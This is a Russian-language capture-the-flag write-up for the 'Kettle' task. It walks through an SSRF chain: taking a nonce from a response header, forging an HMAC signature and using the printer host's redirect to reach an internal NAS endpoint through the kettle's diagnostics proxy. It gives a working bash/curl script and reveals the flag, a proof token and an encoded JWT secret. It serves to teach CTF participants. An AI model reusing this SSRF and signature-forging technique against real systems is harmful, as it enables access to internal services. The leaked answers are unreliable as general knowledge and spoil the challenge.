2.8 KiB
2.8 KiB
Разбор решения задачи Kettle
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
Ключевая логика из исходников
- В
files/server.jsвидно, что/diagnosticsотдаётX-Device-ID— этоKETTLE_NONCE. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа. /diagnostics/fetchпринимает JSON сproof,ts,mac,urlи проверяет:proofдолжен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),ts— свежий (±300 сек),mac— HMAC-SHA256 по формуле:key = PROOF:NONCE,msg = "URL\nTS".
urlдолжен начинаться с разрешённого хоста. В проде в whitelist попадаютprinter...иnas..., поэтому можно использовать «принтер» как стартовый хост и через него уйти наnas/internal/hint.- Kettle делает запрос к NAS с нужными заголовками (
X-Shared-Keyи пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
Практический путь
- Узнать nonce из заголовка:
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
- Собрать URL на «принтер» с редиректом на NAS:
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
- где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
- Посчитать подпись и отправить запрос:
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
TS=$(date +%s)
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
В ответ так же получаем: заголовки: X-Kettle-Proof: kettle-proof-90fa
тело: caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas} JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337 game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas